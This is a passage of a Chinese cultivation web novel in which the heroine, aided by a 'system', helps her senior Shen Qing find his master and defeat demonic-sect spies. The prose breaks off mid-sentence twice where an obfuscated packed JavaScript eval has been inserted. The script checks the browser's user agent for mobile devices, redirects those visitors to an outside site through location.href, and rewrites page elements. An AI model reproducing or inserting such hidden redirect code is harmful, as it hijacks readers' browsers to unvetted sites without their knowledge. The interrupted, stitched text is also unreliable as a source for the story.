话音未落,“擎苍”剑再次出鞘,一剑封喉! 解决掉副教主后,沈清看着苏晚和赫希,脸上露出了久违的笑容——不再是规则束缚下的冰冷,而是带着温度的释然:“以前,我总觉得只有掌控所有细节,才能守住想要的东西。现在我才明白,真正的掌控,是相信身边的人,是用剑守护彼此,而不是用规则锁住所有人。” 他将那柄锈铁剑递给赫希:“这柄剑,就交给你了。它见证了我师父的守护,也见证了我的偏执,现在,它该见证一个新的开始——一个不用靠规则,也能守住初心的开始。” 赫希接过锈铁剑,突然感觉到一股暖流从剑身传入体内——不是灵力,而是对“掌控”与“信任”的深刻理解。她知道,自己不仅学会了用剑防身,更复刻了沈清偏执型思维的完整脉络:从“用规则规避风险”到“用信任化解偏执”,从“害怕失控”到“敢于托付”。 【兀统:宿主完成“偏执型信任重构”复刻,模拟度提升5%,当前80%!解锁见崎鸣“人偶之眼”(可看穿伪装与谎言)、镜野七罪“伪装能力”(可完美模仿他人言行)!基础灵力提升至0.5灵脉,熟练掌握“清心剑”进阶招式,获得“剑骨初成”成就——可在后续世界以剑为基,修炼更强功法!】 夕阳透过竹林,将三人的影子拉得很长。赫希握紧手中的锈铁剑,看着沈清和苏晚并肩离开的背影——她知道,这个世界的故事还未结束:心魔教的教主仍在潜伏,清心丹的秘密尚未完全揭开,而她的“偏执复刻”之路,也只是刚刚踏入新阶段。 但这一次,她不再是单纯的“规则追随者”,而是能在掌控与信任之间找到平衡的修行者。沈清那曾经令人窒息的偏执,如今成了她最珍贵的修行指南——用细节打磨剑技,用信任温暖剑心,这,才是修仙者真正的“剑骨”与“丹心”。 10. 妄想症图鉴4 心魔教副教主伏诛的第三日,清玄宗的晨雾还未散尽,沈清就带着赫希和苏晚站在了张长老的旧丹房外。这座被尘封三年的石屋,如今被他布下了三重“剑气化界”——剑气游走的轨迹与“擎苍”剑穗震颤的节奏完全同步,连结界与空气摩擦的细微声响,都被他记在一本泛黄的册子上,册中每一页都画着简易的波动示意图,旁边还标注着“辰时三刻,结界波动正常”“巳时一刻,有雀鸟飞过,波动微变”等细碎记录。 “副教主虽死,但‘影卫’余党未除,”沈清蹲下身,指尖捻起丹房门槛上的一粒尘土,放在鼻尖轻嗅,随即用“擎苍”剑刃将尘土拨开,露出下面一点发黑的痕迹,“这尘土里混着‘蚀骨粉’的腥气,是影卫常用的追踪药剂——他们昨晚来过,想找师父留下的丹方线索。你看这发黑的痕迹,应该是他们用特制工具刮擦门槛留下的,想破坏这里的禁制。” 赫希握紧手中的锈铁剑,调动“凝神诀”感知周围的灵力残留。剑身传来熟悉的震颤,她立刻对比记忆中“碎心剑法”的剑气特征——那种阴冷、锐利的波动,和上次偷袭的影卫如出一辙:“师兄,西北方向三十步外的竹林里,有‘碎心剑法’的剑痕残留——震颤的感觉比上次更强烈,应该是来了不止三个人。” 沈清眼中寒光一闪,“擎苍”剑出鞘时带起一阵清风,剑气在身前凝成半透明的剑网:“走,去看看——按‘品字阵’行进,赫希左路探路,苏晚中路记录痕迹,我右路殿后。记住,保持彼此能立刻支援的距离,遇到可疑痕迹先停步,用剑敲三下地面,等我确认安全再动;还有,别碰竹林里的任何叶片,影卫可能会在上面涂‘迷魂粉’。” 他的规则依旧细致,却少了往日的压迫感——不再强求“步幅必须精准到分毫”,而是换成了“能立刻支援的距离”;不再禁止所有“意外接触”,而是提前提醒“可能的危险”。赫希能感觉到,经历了苏晚的信任危机后,他的“掌控”正在从“绝对禁锢”转向“理性预判”。 三人按规则前行,刚踏入丹房后的竹林,赫希的锈铁剑突然剧烈震颤,剑穗上的铜钱疯狂摆动,连带着她的手腕都跟着发麻。她立刻停步,按要求敲击地面三下:“师兄,有危险!剑身震得厉害,是‘三才阵’的灵力波动——他们肯定在附近埋伏了,而且阵法比上次更复杂!” 话音未落,三道黑影从竹林深处窜出,手中弯刀泛着幽蓝寒光,直刺三人要害。为首的影卫狞笑道:“沈清,没想到你还敢来这里——副教主大人虽然失手,但我们早就摸清了你的套路,今天,就让你和你师父的旧丹房一起陪葬!” 沈清早有准备,“擎苍”剑一挥,剑气如瀑布般倾泻而下,将三人的攻击挡在体外:“赫希,用‘反挑式’破左路影卫的下盘,他的弯刀轨迹有固定偏差,你刚才感知到的震颤频率和他出刀节奏是对应的,瞄准他落脚的空当;苏晚,撒‘静心散’,粉末要能覆盖中路影卫的呼吸范围——别慌,按我们之前练的手势,手腕稳着点,别让他察觉异常。” 赫希立刻挥剑迎上左路影卫。她刻意将剑招“慢半拍”,引诱对方露出破绽——果然,影卫见她剑招“迟缓”,立刻加快出刀速度,却没料到赫希早用“凝神诀”锁定了他的步法,锈铁剑突然变向,精准挑中对方的右脚脚踝,弯刀“当啷”落地,溅起一片尘土。 苏晚则按沈清的要求,指尖捏着“静心散”的纸包,手腕轻抖,白色粉末在空中形成一道薄烟,正好笼罩中路影卫。他刚吸入粉末,动作就迟缓了半分,眼神也开始涣散——“静心散”虽不致命,却能干扰修士的灵力运转,这正是沈清提前算好的“克制之法”。 沈清抓住机会,“擎苍”剑如闪电般划过,剑刃带着凌厉的剑气,直刺中路影卫的咽喉。可就在剑尖即将触到对方皮肤时,他突然收剑——影卫的衣领下,露出了一枚小小的玉佩,玉佩上的纹路,和张长老旧丹房里的药罐花纹一模一样。 “这玉佩……你从哪来的?”沈清的声音带着一丝不易察觉的颤抖,手中的“擎苍”剑微微晃动,这是他极少有的“失控”时刻。 影卫脸色惨白,却咬牙不肯开口,刚想咬碎藏在牙齿里的毒药,就被赫希用剑鞘抵住下巴:“别想着自尽!你要是说实话,我们或许能饶你一命;要是敢撒谎,我就让你尝尝‘蚀骨粉’入体的滋味——你应该知道,那东西有多疼。” 影卫的身体明显一颤,眼神里闪过一丝恐惧,终于松了口:“这玉佩……是张长老当年给我的。我本是他的药童,三年前他‘死’后,我被心魔教抓住,他们用我家人的性命威胁我,逼我加入影卫……” 沈清的瞳孔猛地收缩,手中的剑垂了下去。他想起三年前的那个清晨,师父的丹房被烧,到处都是焦黑的痕迹,唯独不见了师父的药童——原来,他不是失踪了,而是被心魔教胁迫,成了他们的棋子。 “师父他……还活着吗?”沈清的声音低沉,带着一丝期待,又带着一丝不敢置信。这些年,他无数次在梦里见到师父,梦见自己没能护住他,可现在,突然有了师父还活着的线索,他反而有些慌乱——他害怕这又是心魔教的圈套,害怕自己再次被“希望”欺骗。 影卫摇了摇头,眼神里满是愧疚:“我不知道。他们只说张长老还活着,让我帮他们找丹房里的‘清心丹真解’,说找到真解,就能放了我的家人……我也是被逼的,我对不起张长老,对不起清玄宗……” 沈清沉默了片刻,收起“擎苍”剑,对赫希和苏晚说:“把他带回去,关在丹房旁的柴房,派人看守,别让他出事。”他顿了顿,补充道,“给他准备点吃的,别用刑——他也是受害者。” 赫希和苏晚点头应下,押着影卫离开。竹林里只剩下沈清一人,他握着“擎苍”剑,剑尖抵在地面,划出一道浅浅的剑痕。阳光透过竹叶的缝隙洒下来,落在他的脸上,分不清是光影还是泪痕。 他想起当年师父教他练剑时的场景——师父握着他的手,让他感受“擎苍”剑的重量,说“剑是死的,人是活的,练剑不是为了掌控剑,而是为了用剑守护想守护的人”。可这些年,他却把“掌控”当成了全部,用规则把自己困住,也把身边的人推开。 “师父,我错了。”沈清轻声说,声音被风吹散在竹林里,“我不该用规则锁住自己,不该怀疑所有靠近我的人……要是你还活着,能不能再教我一次练剑?” 就在这时,赫希的声音从远处传来:“师兄!苏晚师姐发现了新线索——柴房的墙角,有一道暗门,里面藏着一张地图!” 沈清立刻回过神,握紧“擎苍”剑,快步朝着柴房的方向走去。他知道,现在不是沉浸在情绪里的时候——师父可能还活着,心魔教的阴谋还没结束,他必须振作起来,用手中的剑,去揭开当年的真相,去守护还在身边的人。 柴房的墙角,苏晚正蹲在地上,用手指拂去暗门上的尘土。暗门很小,只能容一个人弯腰通过,门楣上刻着一道小小的剑痕,和沈清“擎苍”剑的剑脊形状一模一样。 “这剑痕……是师父刻的。”沈清蹲下身,指尖抚摸着那道剑痕,眼眶泛红,“当年我第一次练会‘清心剑’的起手式,师父就用我的剑,在柴房的墙上刻了这道痕,说‘等你能独当一面了,就用这道痕当钥匙,打开属于你的‘道’’。” 他深吸一口气,站起身,手中的“擎苍”剑对准暗门的剑痕,轻轻一刺——“咔嗒”一声,暗门缓缓打开,里面黑漆漆的,弥漫着一股潮湿的气息,还夹杂着一丝淡淡的药香。 “我走前面,你们跟在我后面,注意脚下的台阶。”沈清调动体内的灵力,让“擎苍”剑的剑尖发出微弱的光,照亮前方的路。他的脚步很轻,却很稳,每一步都按“警戒步幅”前进——不是因为偏执,而是因为他要确保身后两人的安全。 暗道很长,走了大约一炷香的时间,前方终于出现了一丝光亮。三人加快脚步,走出暗道,眼前的景象让他们惊呆了——这是一个小小的石室,石室中央放着一张石桌,桌上摆着一本泛黄的丹书,正是“清心丹真解”;石桌旁的石壁上,挂着一件破旧的道袍,正是张长老当年常穿的那件。 “师父!”沈清冲过去,拿起那件道袍,指尖颤抖着抚摸上面的纹路——道袍的袖口处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502571|186019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有一道小小的剑痕,是当年他练剑时不小心划到的,师父一直没舍得补。 就在这时,石室的角落里传来一阵轻微的咳嗽声。三人立刻转头,只见一个穿着黑衣的老人蜷缩在角落里,头发花白,脸上满是皱纹,却依稀能看出当年的轮廓——正是张长老! “清……清辞?不对,是清……”张长老缓缓睁开眼,眼神有些浑浊,却在看到沈清手中的“擎苍”剑时,突然亮了起来,“你终于来了……我就知道,你会找到这里的。” “师父!”沈清冲过去,跪在张长老面前,眼泪终于忍不住掉了下来,“对不起,我来晚了!我没能早点找到你,让你受了这么多苦……” 张长老摇了摇头,伸手摸了摸沈清的头,像小时候一样:“不怪你,孩子。是我当年太固执,总觉得自己能解决一切,结果反而被心魔教的人抓住了把柄。这些年,我一直在这石室里研究‘清心丹真解’,就是想找到克制心魔教的方法,没想到,反而让你担心了。” 赫希和苏晚看着这一幕,也红了眼眶。苏晚走上前,递过一瓶“愈伤膏”:“长老,您先擦擦药吧。我们已经解决了副教主,还抓住了您当年的药童,他说心魔教用他家人威胁他,他也是被逼的。” 张长老接过药膏,点了点头,眼神里满是欣慰:“好,好……清,你长大了,不再是那个只会用规则锁住自己的孩子了。你学会了相信别人,学会了用剑守护身边的人——这才是我想教你的‘剑心’。” 沈清握着“擎苍”剑,看着师父,又看了看赫希和苏晚,脸上露出了释然的笑容:“师父,我明白了。以前我总觉得,只有掌控所有细节,才能守住想要的东西。现在我才知道,真正的‘掌控’,是相信身边的人,是和他们一起面对危险,是用剑守护彼此的初心。” 张长老笑着点头,从袖中掏出一枚小小的剑穗,递给沈清:“这是我用‘清心草’编的剑穗,能稳定灵力,也能帮你感知身边的危险。把它系在‘擎苍’剑上吧——你的剑,不仅要锋利,还要有温度。” 沈清接过剑穗,小心翼翼地系在“擎苍”剑的剑柄上。剑穗轻轻晃动,与剑身的灵力产生共鸣,发出一阵轻微的嗡鸣——那声音,像是在诉说着过往的遗憾,也像是在宣告着新的开始。 【兀统:检测到目标完成“执念释怀”,从“偏执掌控”完全转向“理性守护”,模拟度提升10%,当前90%!宿主基础灵力提升至0.7灵脉,解锁“剑心共鸣”技能:可通过剑的波动,感知身边人的情绪与状态,甚至能在危急时刻,与同伴的剑产生灵力联结,形成合力!】 走出石室时,夕阳已经西斜,金色的阳光洒在清玄宗的山门上,给整个宗门镀上了一层温暖的光晕。沈清握着系着新剑穗的“擎苍”剑,走在最前面;张长老被赫希和苏晚搀扶着,跟在后面;不远处,那个被抓住的药童正站在柴房门口,眼神里满是愧疚,却也带着一丝解脱。 沈清停下脚步,转身对药童说:“你家人的下落,我们会帮你找。只要你真心悔改,清玄宗永远欢迎你回来——毕竟,你也是师父的弟子,是我们的师弟。” 药童的眼泪瞬间掉了下来,跪在地上,对着沈清和张长老磕了三个头:“谢谢师兄,谢谢长老!我以后一定好好做人,再也不帮心魔教做事了!” 张长老笑着扶起他,拍了拍他的肩膀:“好孩子,知错能改就好。以后跟着清练剑吧,他的剑,现在有温度了。” 沈清握着“擎苍”剑,感受着剑穗传来的温暖,又看了看身边的人——师父、师弟、赫希、苏晚,还有远处正在练剑的弟子们。他知道,心魔教的教主还没出现,危险还没完全解除,但这一次,他不再害怕——因为他不再是一个人,他有身边的人,有手中的剑,有心中的“道”。 赫希看着沈清的背影,握紧了手中的锈铁剑。她知道,自己的“偏执复刻”之路,又前进了一步——她不仅复刻了沈清的“细节掌控”,更学会了他的“剑心温度”。而这,正是修仙者最珍贵的修行——用剑守护,用心温暖,在规则与信任之间,找到属于自己的“妄境仙途”。 11. 妄想症图鉴5 清玄宗的晨露在剑冢的青石上凝成水珠时,赫希正握着锈铁剑,跟着沈清练习“清心剑”的收势。她的手腕轻轻转动,剑脊擦过地面的刻痕,带起细碎的尘土——这是她第37次练习这个动作,从最初的剑招偏移半寸,到如今能精准贴合刻痕,每一次进步的背后,都是沈清用“擎苍”剑鞘一次次纠正的耐心。 “收势时灵力别断,”沈清的声音从身旁传来,他握着“擎苍”剑,示范着将灵力缓缓收回丹田,“就像水流回泉眼,要稳,要顺,不能有丝毫滞涩——你上次对付影卫时,就是收剑太急,才让对方有了反扑的机会。” 赫希点头,深吸一口气,按他的要领重新收剑。指尖的灵力顺着剑脊缓缓流淌,没有了往日的慌乱,竟真的如水流般顺畅。她刚想开口说“成了”,突然感觉双眼传来一阵细微的刺痛,眼前的世界骤然变了模样——沈清手中“擎苍”剑的灵力轨迹如发光的银线般清晰,从剑柄到剑尖,三道主线缠绕着无数支线,与他的心跳节奏完美同步;甚至连他袖口随风飘动时,带动的微弱灵力波动,都无所遁形。 【兀统:检测到宿主剑心与沈清高度共鸣,触发隐藏设定!动漫角色能力“人偶之眼”(看穿灵力轨迹、事物本质)正式觉醒!当前仅宿主与系统可见,未触发本世界居民感知阈值。】 赫希心中一紧,立刻垂下眼帘,假装揉了揉眼睛。再睁开时,眼中的特殊景象已消失不见,沈清正皱眉看着她:“怎么了?眼睛不舒服?” “没事,”她连忙掩饰,举起锈铁剑摆出收势姿势,“就是刚才阳光晃了眼——师兄,你看这次是不是稳多了?” 沈清走近,用“擎苍”剑的剑鞘轻轻碰了碰她的剑脊:“不错,比上次顺多了。但别大意,实战中敌人不会给你反复调整的机会,每一个动作都要像刻在骨子里一样熟练。”他顿了顿,突然想起什么,从袖中掏出一本泛黄的小册子,“这是我整理的‘清心剑’破绽笔记,里面记了我这些年遇到的对手招式弱点,你拿去看看,或许对你有帮助。” 赫希接过小册子,指尖触到纸张的瞬间,突然感觉手腕一热——册子上记录的剑招在脑海中飞速闪过,从“破妄式”的起手角度,到“反挑式”的发力时机,甚至连沈清标注的“影卫出刀时会先沉肩半寸”的细节,都清晰得仿佛亲身经历。她下意识模仿册子上沈清画的握剑姿势,掌心与剑柄的贴合度、指尖的发力轻重,竟与记忆中沈清的动作分毫不差。 【兀统:“镜野七罪伪装能力”同步激活!可完美复刻目标言行、肢体动作及灵力波动特征,自带“规则隐匿buff”,不会被修仙者灵识探查出异常。】 她立刻收回能力,假装按自己的节奏调整姿势。这本小册子成了她最好的“掩护”——以后就算用伪装能力模仿沈清的剑招,也能说成是“按册子上的笔记练习”;用“人偶之眼”看穿敌人破绽,也能归结为“研究了师兄整理的弱点记录”。 两人练剑到辰时,苏晚端着安神茶走来,脚步轻快却带着一丝不易察觉的慌乱:“师兄,赫希师妹,张长老让你们去丹房——清心丹的最后一味药材‘忘忧草’找到了,说是今天辰时三刻炼药最合适。” 沈清点头,收起“擎苍”剑:“走吧,炼药时更要专注,一点差错都可能让丹毁了。” 走向丹房的路上,赫希悄悄用余光观察苏晚——她的指尖沾着一点黑色粉末,与上次影卫面具上的残渣相似,却又多了一丝淡淡的药香。她刚想开启“人偶之眼”查看,突然想起这能力不能暴露,立刻收回念头,假装随口问:“师姐,你指尖怎么沾了粉末?是帮长老整理药材了吗?” 苏晚的脚步顿了顿,连忙把手背到身后:“是啊,刚才整理‘忘忧草’时不小心蹭到的——这药材娇贵,沾了手汗就会失效,师妹你等会儿炼药时也要小心。” 赫希没有追问,心中却有了疑虑——她记得沈清说过,“忘忧草”是白色粉末,而苏晚指尖的粉末是黑色的。但她没有点破,只是默默记下这个细节——有些事,需要用更谨慎的方式去验证,尤其是在她有了“秘密武器”的情况下。 丹房内,张长老正将“忘忧草”倒入丹炉,药材遇火后发出淡淡的清香。沈清站在丹炉左侧,手中握着“擎苍”剑,剑尖抵在炉壁上,灵力缓缓注入,控制着火焰的温度:“赫希,你站在右侧,用‘凝神诀’感知药材的融合进度——记住,‘忘忧草’与其他药材融合时,会有三次灵力波动,你要在每次波动时,往炉内注入0.1灵脉的灵力,多一分少一分都不行。” 赫希点头,走到丹炉右侧,假装闭上眼睛运转“凝神诀”,实则悄悄开启“人偶之眼”。眼前的丹炉瞬间“透明”起来——炉内的药材分成了五层,最底层的“清心草”正以肉眼可见的速度融化,第二层的“凝血花”却有些凝滞,与“忘忧草”的融合出现了一道细微的缝隙;而张长老手中握着的药勺,勺底竟沾着一点黑色粉末,与苏晚指尖的粉末一模一样! 她心中一惊,立刻思考对策——直接说出来会暴露能力,不说又可能影响炼药。犹豫间,沈清突然开口:“师父,‘凝血花’的融化速度好像慢了点,是不是火候不够?” 张长老愣了一下,凑近丹炉仔细看了看:“确实有点慢——清,你再注入一丝灵力,赫希,你往炉内吹一口‘静心气’,帮药材加速融合。” 赫希趁机说:“师兄,我刚才好像看到药勺上沾了点东西,会不会影响药材纯度?”她故意说得模糊,既点出了问题,又不暴露自己能“看清细节”的秘密。 沈清立刻看向张长老手中的药勺,眉头一皱:“师父,您的药勺上有黑色粉末——不是‘忘忧草’的颜色,也不是其他药材的粉末。” 张长老连忙放下药勺,用灵力扫过勺底,脸色瞬间变了:“这是‘噬魂粉’!是心魔教用来污染药材的东西,怎么会沾在我的药勺上?” 苏晚站在一旁,脸色苍白,声音颤抖:“长老,我……我刚才帮您拿药勺时,好像碰到了柴房的黑布,会不会是从那里沾到的?” 沈清立刻转身,“擎苍”剑出鞘:“去柴房看看!” 三人赶到柴房,赫希用“人偶之眼”扫过四周——柴房角落的黑布下,藏着一个小小的木盒,盒内散发着与“噬魂粉”相同的灵力波动,还有一道微弱的黑影灵力残留,与上次偷袭的影卫气息一致。她故意装作“偶然发现”,指着角落大喊:“师兄,那里有个木盒!” 沈清走过去,用剑挑开黑布,果然发现了木盒。打开一看,里面装着半盒“噬魂粉”,还有一枚刻着“心”字的令牌——正是心魔教影卫的信物。 “看来心魔教的人早就混进宗门了,”沈清的眼神变得锐利,“他们想污染清心丹,让我们失去对抗他们的底牌。赫希,你以后练剑和炼药时,多留意身边的人,尤其是接触药材和剑具的人——别相信表面的样子,要用心去感受。” 赫希点头,心中却松了口气——这次不仅用“人偶之眼”识破了隐患,还没暴露能力,甚至让沈清更加信任她的“细心”。 当天夜里,赫希趁着月色,悄悄来到柴房。她想查清“噬魂粉”是谁放在这里的,更想知道苏晚指尖的粉末与木盒里的“噬魂粉”是否有关联。刚走到柴房门口,就听到里面传来轻微的脚步声。她立刻开启伪装能力,复刻了苏晚的灵力波动和走路姿势——从袖中掏出一块与苏晚相同的手帕,轻轻搭在手臂上,低着头走进柴房。 柴房内,一个穿着黑衣的人影正蹲在角落,手中拿着木盒,似乎在往里面加什么东西。赫希屏住呼吸,用“人偶之眼”看穿对方的伪装——那人竟是宗门的外门执事,他的领口下藏着心魔教的“影卫”令牌,灵力波动与上次被抓的影卫完全一致! “东西都准备好了吗?”外门执事压低声音,对着空气说,“教主说了,明天辰时三刻,等沈清和张长老炼药时,你就把‘噬魂粉’撒进丹炉,只要清心丹被毁,我们就能一举拿下清玄宗。” 空气里传来一阵细微的回应声,像是有人用灵力传音:“放心,苏晚已经被我用‘迷魂草’控制了,她会按我们说的做——她还以为自己是在帮张长老查真相,真是个傻子。” 赫希心中一凛——原来苏晚是被控制了!她刚想转身去找沈清,外门执事突然回头,眼神警惕地扫过四周:“谁在那里?” 赫希立刻低下头,模仿苏晚的声音,语气带着一丝慌乱:“是我,苏晚——执事大人,您让我来拿‘忘忧草’的,说要提前准备好明天炼药的药材。” 外门执事盯着她看了半天,似乎在确认她的身份。赫希假装紧张地攥紧手帕,手腕微微颤抖——这是她观察到的苏晚被怀疑时的习惯性动作。 “哦,是你,”外门执事终于放松警惕,“‘忘忧草’在那边的架子上,你拿去吧——记住,明天炼药时,按我说的做,别出岔子。” 赫希点头,拿起架子上的“忘忧草”,转身快步走出柴房。刚到门口,就听到外门执事对着空气说:“等拿下清玄宗,第一个就把苏晚处理掉,留着她没用了。” 她心中一紧,加快脚步走向沈清的住处。路上,她收回伪装能力,将听到的内容和看到的细节在脑海中整理清楚——明天炼药时,外门执事会让被控制的苏晚撒“噬魂粉”,而他自己很可能会趁机偷袭张长老。 沈清的住处还亮着灯,他正坐在桌前,研究着剑冢的结界图。看到赫希进来,他抬起头:“这么晚了,怎么还没休息?” 赫希将“忘忧草”放在桌上,压低声音:“师兄,我发现了心魔教的阴谋——外门执事是影卫,他用‘迷魂草’控制了苏晚,让她明天炼药时往丹炉里撒‘噬魂粉’,还想趁机偷袭张长老!” 沈清的眼神瞬间变得锐利,手中的笔“啪”地掉在桌上:“你怎么知道的?” “我刚才去柴房拿东西,听到他和人传音,”赫希故意隐瞒了能力,“而且我看到他藏了‘噬魂粉’和影卫令牌,苏晚指尖的粉末就是‘噬魂粉’——师兄,我们得想个办法,既能拆穿他的阴谋,又不能让苏晚受伤。” 沈清沉默片刻,站起身,握紧“擎苍”剑:“你先回去休息,假装什么都不知道——明天炼药时,我会布下‘剑气化界’,只要外门执事有异动,结界就会触发;至于苏晚,我会提前给她服下‘解迷散’,让她恢复清醒。” 赫希点头,转身离开。走到门口时,她突然回头:“师兄,明天我能不能站在苏晚旁边?我想帮她——毕竟她是被控制的,不是故意要背叛我们。” 沈清看着她,眼中闪过一丝欣慰:“好,你站在她旁边,要是她有异动,你就用‘静心散’暂时控制住她,别让她伤害自己或其他人。” 回到自己的住处,赫希对兀统说:“明天炼药时,我要用‘人偶之眼’盯着外门执事和苏晚,用伪装能力模仿你的灵力波动,悄悄给苏晚服下‘解迷散’——你帮我盯着,别让任何人发现。” 【兀统:收到指令!已为宿主调整能力参数,伪装能力可短暂复刻系统灵力波动,不会被修仙者察觉;“人偶之眼”可锁定目标灵力轨迹,实时预判其动作。】 她躺在床上,握紧手中的锈铁剑。这是她第一次要在实战中同时使用两种能力,还要完美隐藏痕迹——但她不害怕,因为她知道,这些能力不是用来炫耀的,而是用来保护沈清、保护清玄宗的“秘密武器”。 次日辰时三刻,丹房内烟雾缭绕。张长老站在丹炉前,外门执事站在他身后,看似在帮忙递药材,眼神却时不时瞟向炉内;苏晚站在赫希旁边,脸色苍白,双手微微颤抖,明显还被“迷魂草”控制着。 沈清站在丹炉左侧,“擎苍”剑抵在炉壁上,灵力缓缓注入——他布下的“剑气化界”已悄然启动,只要外门执事发动攻击,结界就会瞬间将他困住。 “该加‘忘忧草’了,”张长老对苏晚说,“小心点,别洒出来。” 苏晚点头,伸手去拿桌上的“忘忧草”,指尖却悄悄摸向袖中的“噬魂粉”。赫希立刻开启“人偶之眼”——她看到苏晚袖中的“噬魂粉”袋上,有一道细微的灵力线连接着外门执事的手指,显然是他在远程控制! 她趁机靠近苏晚,假装帮她拿“忘忧草”,同时开启伪装能力,复刻系统的无形灵力波动,将一粒“解迷散”悄悄弹入苏晚口中。 【兀统:“解迷散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502572|186019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”已成功送入目标口中,预计三息后生效。外门执事正准备发动攻击,其右手已凝聚灵力,目标是张长老后心!】 赫希心中一紧,立刻对沈清使了个眼色——这是他们之前约定的“危险信号”。沈清会意,“擎苍”剑突然发力,灵力注入丹炉,火焰瞬间暴涨,挡住了外门执事的视线。 就在这时,苏晚突然清醒过来,看着手中的“噬魂粉”袋,脸色骤变:“这是什么?我怎么会拿着这个?” 外门执事见状,知道计划败露,怒吼一声,右手凝聚的灵力直刺张长老后心:“既然被发现了,那就鱼死网破!” 可他的手刚伸到一半,就被沈清布下的“剑气化界”困住——剑气如牢笼般将他缠住,动弹不得。沈清转身,“擎苍”剑直指他的喉咙:“说!心魔教教主在哪里?你们还有什么阴谋?” 外门执事脸色惨白,却咬牙不肯开口,刚想咬碎藏在牙齿里的毒药,就被赫希用剑鞘抵住下巴:“别想着自尽!你要是说实话,我们或许能饶你一命;要是敢撒谎,我就让你尝尝‘噬魂粉’入体的滋味——你应该知道,那东西有多疼。” 外门执事的身体明显一颤,终于松了口:“教主……教主就在后山的废弃祭坛,他想等我们毁掉清心丹后,用‘万魂阵’吸收清玄宗弟子的灵力,突破到化神期……” 沈清眼神一凛,收起“擎苍”剑:“赫希,你带着苏晚去通知弟子们加强戒备;师父,您留在这里继续炼清心丹,这是对抗‘万魂阵’的关键;我去后山找教主,绝不能让他得逞!” “师兄,我跟你一起去!”赫希立刻说,“我现在能帮上忙了,不会拖你后腿——你教我的剑招,还有你整理的破绽笔记,我都记熟了!” 沈清看着她坚定的眼神,没有拒绝——这些日子,他看着赫希从一个连剑都握不稳的外门弟子,成长为能独当一面的修行者,他知道,这个师妹已经有了保护自己的能力。 两人快步走出丹房,朝着后山的废弃祭坛走去。路上,赫希悄悄开启“人偶之眼”,扫描着周围的灵力波动——她能看到隐藏在草丛中的影卫,能看穿他们布下的陷阱,甚至能预判他们的攻击轨迹。 “师兄,左边草丛里有影卫,他们的陷阱在第三步的位置,踩上去会触发‘毒针阵’;右边的树后有两个影卫,他们的灵力波动很弱,应该是低阶影卫,用‘反挑式’就能解决。”赫希压低声音,将看到的信息一一告诉沈清。 沈清按照她的提示,“擎苍”剑一挥,剑气精准地劈开左边的草丛,将隐藏的陷阱破坏;同时,他转身用“破妄式”刺向右边的树后,两个影卫瞬间被制服。 “你怎么知道得这么清楚?”沈清一边收剑,一边看向赫希,眼神里带着一丝疑惑。 赫希心中早有准备,举起手中的小册子晃了晃:“是你整理的笔记啊——里面写着‘低阶影卫喜欢藏在草木密集处,陷阱多设在常规步幅第三步’,我刚才就是按笔记里的细节判断的。” 沈清恍然大悟,不再追问,加快脚步朝着祭坛方向走去。赫希松了口气,继续用“人偶之眼”探查前路——有了这本笔记当掩护,她的能力终于能完美隐藏在“认真学习”的表象下,不会引起任何人的怀疑。 后山的废弃祭坛布满了黑色符文,空气中弥漫着浓郁的血腥味。心魔教教主穿着黑袍,站在祭坛中央,手中握着一柄泛着黑气的长剑,周围绑着十几个清玄宗弟子,他们的灵力正被符文吸走,脸色苍白如纸。 “沈清,你果然来了!”教主狂笑一声,剑气一挥,将身边的石柱劈成两半,“今天,我就要用这些弟子的灵力突破化神期,让清玄宗彻底消失!” 沈清握紧“擎苍”剑,灵力瞬间爆发:“放开他们!你害我师父,毁我宗门,今天我定要让你血债血偿!” “就凭你?”教主不屑地笑了,“上次副教主输在你手里,是他太没用——我可是研究透了你的‘清心剑’,你的每一个破绽,我都了如指掌!” 说着,教主挥剑攻来,招式与沈清的“清心剑”一模一样,却带着致命的杀意。沈清立刻反击,两人剑刃碰撞,发出刺耳的声响。赫希站在一旁,悄悄开启“人偶之眼”——教主的剑招虽然形似,却有一处致命破绽:他的“破妄式”在出剑时,左肩会不自觉地抬高半寸,导致灵力流动出现滞涩。 “师兄,他的左肩!”赫希大喊,“出‘破妄式’时左肩会抬高,这是他的破绽!” 沈清会意,立刻调整剑招。当教主再次使出“破妄式”时,沈清抓住他左肩抬高的瞬间,“擎苍”剑突然变向,精准挑中他的手腕。教主吃痛,手中的剑险些脱手,灵力也紊乱了几分。 “不可能!你怎么会知道我的破绽?”教主难以置信地看着赫希,“一个外门弟子,怎么能看穿我的剑招?” “是师兄教我的,”赫希面不改色地撒谎,“他说过,再厉害的剑招,只要用心观察,就能找到破绽——你以为你研究透了‘清心剑’,却忘了,剑招是死的,人是活的。” 教主怒吼一声,再次攻来,这次他的招式变得更加诡异,竟开始模仿赫希的“反挑式”。赫希立刻开启伪装能力,复刻沈清的灵力波动和剑招节奏,从侧面冲了上去——她的剑招与沈清完美同步,两人配合默契,像一个人在战斗。 教主被两人夹击,渐渐体力不支。沈清抓住机会,“擎苍”剑带着凌厉的剑气,直刺他的胸口:“这一剑,是为我师父!” “还有这一剑,是为被你伤害的弟子!”赫希同时出剑,锈铁剑刺穿了教主的肩膀。 